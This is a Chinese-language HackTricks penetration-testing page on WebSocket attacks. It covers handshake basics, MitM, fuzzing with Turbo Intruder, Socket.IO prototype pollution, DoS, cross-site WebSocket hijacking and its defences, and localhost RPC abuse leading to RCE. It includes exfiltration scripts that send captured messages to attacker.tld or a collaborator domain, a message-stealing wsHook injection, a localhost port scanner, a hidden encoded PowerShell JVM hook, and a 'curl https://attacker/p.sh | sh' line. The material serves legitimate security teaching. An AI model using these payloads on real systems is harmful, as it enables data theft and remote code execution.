WebSocket 攻击
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
什么是 WebSockets
WebSocket 连接通过初始的 HTTP 握手建立,并被设计为 长连接,允许在任何时间进行双向消息传递,无需事务性系统。这使得 WebSockets 对需要 低延迟或服务器发起通信 的应用特别有利,例如实时金融数据流。
WebSocket 连接的建立
关于建立 WebSocket 连接的详细说明可以在 here 查阅。总之,WebSocket 连接通常由客户端的 JavaScript 发起,如下所示:
var ws = new WebSocket("wss://normal-website.com/ws")
wss 协议表示通过 TLS 保护的 WebSocket 连接,而 ws 表示不安全的连接。
在建立连接期间,浏览器和服务器会通过 HTTP 执行握手。握手过程涉及浏览器发送请求并由服务器响应,下面示例说明了这一点:
浏览器发送握手请求:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
服务器的握手响应:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
WebSocket 连接一旦建立,就保持打开以进行双向消息交换。
WebSocket 握手的要点:
Connection和Upgrade头表示 WebSocket 握手的开始。Sec-WebSocket-Version头指示所需的 WebSocket 协议版本,通常为13。- 在
Sec-WebSocket-Key头中发送一个 Base64 编码的随机值,确保每次握手都是唯一的,这有助于防止缓存代理引起的问题。该值不是用于认证,而是用于确认响应不是由错误配置的服务器或缓存生成的。 - 服务器响应中的
Sec-WebSocket-Accept头是对Sec-WebSocket-Key的哈希,用于验证服务器打算打开 WebSocket 连接。
这些特性确保握手过程安全可靠,为高效的实时通信铺平了道路。
Linux 控制台
你可以使用 websocat 来与 WebSocket 建立原始连接。
websocat --insecure wss://10.10.10.10:8000 -v
或者创建一个 websocat 服务器:
websocat -s 0.0.0.0:8000 #Listen in port 8000
MitM websocket connections
如果你发现客户端从你当前的本地网络连接到一个 HTTP websocket,你可以尝试一次 ARP Spoofing Attack 来在客户端和服务器之间执行 MitM 攻击。
一旦客户端尝试连接到你,你就可以使用:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Websockets 枚举
你可以使用 工具 https://github.com/PalindromeLabs/STEWS 来自动发现、指纹识别并搜索 websockets 中已知的 漏洞。
Websocket 调试工具
- Burp Suite 支持 MitM 的 websockets 通信,其方式与处理常规 HTTP 通信非常相似。
- The socketsleuth Burp Suite 扩展 将允许你在 Burp 中更好地管理 Websocket 通信,比如获取 历史记录、设置 拦截规则、使用 匹配与替换 规则,以及使用 Intruder 和 AutoRepeater。
- WSSiP: 缩写自 “WebSocket/Socket.io Proxy”,这是一个使用 Node.js 编写的工具,提供一个用户界面用于 捕获、拦截、发送自定义 消息,并查看客户端与服务器之间的所有 WebSocket 和 Socket.IO 通信。
- wsrepl 是一个专为 penetration testing 设计的 交互式 websocket REPL。它提供了一个界面用于观察 接收的 websocket 消息并发送新消息,并配有一个易用的框架用于 自动化 该通信。
- https://websocketking.com/ 它是一个用于通过 websockets 与其他网站通信的 web 界面。
- https://hoppscotch.io/realtime/websocket 除了其他类型的通信/协议之外,它还提供一个用于通过 websockets 与其他网站通信的 web 界面。
Websocket 解密
Websocket 实验室
在 Burp-Suite-Extender-Montoya-Course 中,你可以找到用于通过 websockets 启动 web 的代码;在 this post 中可以找到相关解释。
Websocket Fuzzing
The burp extension Backslash Powered Scanner 现在也允许对 WebSocket 消息进行 fuzz。你可以在 here 阅读更多信息。
WebSocket Turbo Intruder (Burp extension)
PortSwigger 的 WebSocket Turbo Intruder 将 Turbo Intruder 风格的 Python 脚本和高并发 fuzzing 引入 WebSockets。可从 BApp Store 或源码安装。它包含两个组件:
- Turbo Intruder:使用自定义引擎向单个 WS 端点发送高流量消息。
- HTTP Middleware:暴露一个本地 HTTP 端点,将请求体通过持久连接转发为 WS 消息,因此任何基于 HTTP 的扫描器都可以探测 WS 后端。
用于 fuzz WS 端点并过滤相关响应的基本脚本模板:
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
使用像 @MatchRegex(...) 这样的装饰器来减少噪音,当单条消息触发多个响应时。
将 WS 桥接在 HTTP 之后(HTTP Middleware)
封装一个持久的 WS 连接,并将 HTTP bodies 转发为 WS 消息,以便使用 HTTP scanners 进行自动化测试:
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
然后在本地发送 HTTP;请求体被转发为 WS 消息:
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
这可以让你驱动 WS 后端,同时过滤“有趣”的事件(例如,SQLi 错误、auth bypass、command injection 行为)。
Socket.IO 处理 (握手、心跳、事件)
Socket.IO 在 WS 之上添加了自己的帧结构。通过强制性的查询参数 EIO 检测它(例如,EIO=4)。用 Ping(2)和 Pong(3)保持会话活动,并以 "40" 开始对话,然后发出类似 42["message","hello"] 的事件。
Intruder 示例:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
HTTP 适配器变体:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
通过 Socket.IO 检测服务器端 prototype pollution
按照 PortSwigger 的安全检测方法,尝试通过发送如下 payload 来污染 Express 的内部:
{"__proto__":{"initialPacket":"Polluted"}}
如果 greetings 或行为发生变化(例如,echo 包含 “Polluted”),很可能你污染了服务器端的原型。影响取决于可达的 sinks;应与 Node.js prototype pollution 部分中的 gadgets 进行关联分析。参见:
- Check NodeJS – proto & prototype Pollution for sinks/gadgets and chaining ideas.
WebSocket race conditions with Turbo Intruder
默认引擎会在单个连接上批量发送消息(吞吐量高,但不利于触发 race)。使用 THREADED 引擎来生成多个 WS 连接并并行发送 payload,以触发逻辑 race(double‑spend、token reuse、state desync)。从示例脚本开始,并在 config() 中调整并发。
- Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).
WebSocket DoS: malformed frame “Ping of Death”
构造那些 header 声明巨大 payload 长度但不发送 body 的 WS 帧。有些 WS 服务器信任该长度并预分配缓冲区;将其设置接近 Integer.MAX_VALUE 可能导致 Out‑Of‑Memory,从而引发远程未认证的 DoS。参见示例脚本。
CLI and debugging
- Headless fuzzing:
java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput> - Enable the WS Logger to capture and correlate messages using internal IDs.
- Use
inc*/dec*helpers onConnectionto tweak message ID handling in complex adapters. - Decorators like
@PingPong/@Pongand helpers likeisInteresting()reduce noise and keep sessions alive.
Operational safety
高并发的 WS fuzzing 会打开大量连接并每秒发送数千条消息。畸形帧和高速率可能导致真实的 DoS。仅在被允许的情况下使用。
Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking,也称为 cross-origin WebSocket hijacking,被视为影响 WebSocket 握手的 Cross-Site Request Forgery (CSRF) 的一种特殊情形。当 WebSocket 握手仅通过 HTTP cookies 进行认证而没有 CSRF tokens 或类似的安全措施时,就会出现该漏洞。
攻击者可以通过托管一个 恶意网页 来利用此漏洞,该页面向易受攻击的应用发起跨站 WebSocket 连接。因此,该连接会被视为受害者与应用的会话的一部分,利用会话处理机制中缺乏 CSRF 保护的弱点。
要使此攻击生效,需要满足以下条件:
- websocket 的认证必须基于 cookie
- cookie 必须可被攻击者的服务器访问(这通常意味着
SameSite=None),并且在 Firefox 中没有启用 Firefox Total Cookie Protection,或在 Chrome 中没有阻止第三方 cookie。 - websocket 服务器必须不检查连接的 origin(或该检查可以被绕过)
另外:
- 如果认证基于本地连接(到 localhost 或本地网络),该攻击 将是可能的,因为当前没有保护禁止它(详见 more info here)
Origin check disabled in Gorilla WebSocket (CheckOrigin always true)
在 Gorilla WebSocket 服务器中,将 CheckOrigin 始终设置为 return true 会接受来自任何 Origin 的握手。当 WS 端点同时 缺乏认证 时,受害者浏览器可访问的任何页面(Internet 或 intranet)都可以升级 socket 并开始跨站读取/发送消息。
<script>
const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
</script>
影响:当接受任意 Origin 且端点跳过认证时,可能在无需用户凭证的情况下对流式数据(例如被捕获的电子邮件/通知)进行 real-time exfiltration。
Simple Attack
注意,当 建立 一个 websocket connection 时,cookie 会被 发送 给 server。server 可能使用它来 关联 每个 特定 user 与其 websocket session based on the sent cookie。
然后,如果对于 例如 the websocket server 返回对话历史 的某个用户,如果一条包含 “READY” 的 msg 被发送,那么一个 简单的 XSS 建立连接(cookie 将 发送 自动地 以授权受害用户)发送 “READY” 将能够 检索 该 对话 的历史。:
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
跨域 + Cookie 与不同的 subdomain
在这篇博客文章 https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ 中,攻击者设法在发生 Websocket 通信的域的一个 subdomain 中执行任意 Javascript。因为它是一个subdomain,cookie 被发送,并且由于 Websocket 未正确检查 Origin,因此可以与其通信并窃取 tokens。
从用户窃取数据
复制你想冒充的 web application(例如 .html 文件),并在发生 Websocket 通信的脚本中添加以下代码:
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
现在从 https://github.com/skepticfx/wshook 下载 wsHook.js 文件,并将其保存到包含 web 文件的文件夹中。
将 web 应用暴露并让用户连接到它后,你将能够窃取通过 websocket 发送和接收的消息:
sudo python3 -m http.server 80
CSWSH 防护
The CSWSH attack is based on the fact that an user will connect to a malicious page that will open a websocket connection to a web page where the user is already connected and will authenticate as him as the request will send the user’s cookies.
现在,很容易防止该问题:
- Websocket server checking the origin: Websocket server 应始终检查用户从何处连接,以防止意外页面连接到它。
- Authentication token: 与其基于 cookie 进行身份验证,不如将 websocket connection 基于由服务器为用户生成、攻击者未知的 token(例如 anti-CSRF token)。
- SameSite Cookie attribute: 具有
SameSite值为Lax或Strict的 cookies 不会从外部攻击者页面发送到受害服务器,因此基于 cookie 的认证将不会成功。请注意,Chrome 现在对未指定该标志的 cookies 默认设置为Lax,使其更安全。尽管如此,在 cookie 创建后的最初 2 分钟内,其值将为None,使其在该短暂期间内易受攻击(而且预计这一措施未来可能会被移除)。 - Firefox Total Cookie Protection: Total Cookie Protection 通过将 cookies 限制到它们创建的网站来工作。本质上,每个站点都有自己的 cookie 存储分区,以防第三方将用户的浏览历史关联起来。这使得 CSWSH 无法使用,因为攻击者的网站无法访问这些 cookies。
- Chrome third-party cookies block: 即使
SameSite=None,这也可以阻止将已认证用户的 cookies 发送到 websocket 服务器。
Localhost WebSocket 滥用 & 浏览器端口发现
Desktop launchers frequently spin up helpers (e.g., CurseForge’s CurseAgent.exe) that expose JSON-RPC WebSockets on 127.0.0.1:<random_port>. The browser does not enforce SOP on loopback sockets, so any Web page can attempt the handshake. If the agent accepts arbitrary Origin values and skips secondary authentication, the IPC surface becomes remotely controllable directly from JavaScript.
枚举暴露的方法
Capture a legitimate session to learn the protocol contract. CurseForge, for instance, emits frames such as {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]} where name is the RPC method and args contains structured objects (GUIDs, resolution, flags, etc.). Once this shape is known you can invoke methods such as createModpack, minecraftGetDefaultLocation, or any other privileged task straight from an injected page.
基于浏览器的端口发现
Because the helper binds to a random high port, the exploit first brute-forces localhost over WebSockets. Chromium-based browsers tolerate ~16k failed upgrades before throttling, which is enough to walk the ephemeral range; Firefox tends to crash or freeze after a few hundred failures, so practical PoCs often target Chromium.
最小化的浏览器扫描器
```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```一旦连接通过握手并返回协议特定的数据,就重用该 socket 用于 RPC 链。
将 JSON-RPC 方法串联以实现 RCE
CurseForge exploit 将两个未认证的调用串联:
createModpack→ 返回一个新的MinecraftInstanceGuid,无需用户交互。minecraftTaskLaunchInstance→ 启动该 GUID,同时通过AdditionalJavaArguments接受任意 JVM 标志。
然后 JNI/JVM 诊断选项提供了一个开箱即用的 RCE 原语。例如,限制 metaspace 以强制崩溃,并利用错误钩子执行命令:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."
在 Unix 目标上,只需将 payload 替换为 /bin/sh -c 'curl https://attacker/p.sh | sh'。即使你无法接触应用程序代码——只要能控制 JVM CLI 就足够。
这种“create resource → privileged launch”模式在 updaters 和 launchers 中经常出现。每当方法 (1) 产生一个由服务器追踪的标识符,且方法 (2) 使用该标识符执行代码或创建进程时,都应检查是否可以注入受用户控制的参数。
Race Conditions
Race Conditions in WebSockets 也是存在的, 查看此信息以了解更多。
其他漏洞
由于 Web Sockets 是一种用于向服务端和客户端发送数据的机制,取决于服务端和客户端如何处理这些信息,Web Sockets 可以被用来利用其他多种漏洞,例如 XSS、SQLi,或通过 websocket 中的用户输入触发的任何常见 web 漏洞。
WebSocket Smuggling
该漏洞可能允许你通过让 reverse proxies 以为已建立了一个 websocket communication(即使事实并非如此)来 bypass reverse proxies restrictions。这可能使攻击者能够 access hidden endpoints。更多信息请查看以下页面:
References
- https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
- https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocket Turbo Intruder – BApp Store
- WebSocketTurboIntruder – GitHub
- Turbo Intruder background
- Server-side prototype pollution – safe detection methods
- WS RaceCondition PoC (Java)
- RaceConditionExample.py
- PingOfDeathExample.py
- When WebSockets Lead to RCE in CurseForge
- Two CVEs, Zero Ego: A Mailpit Story
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


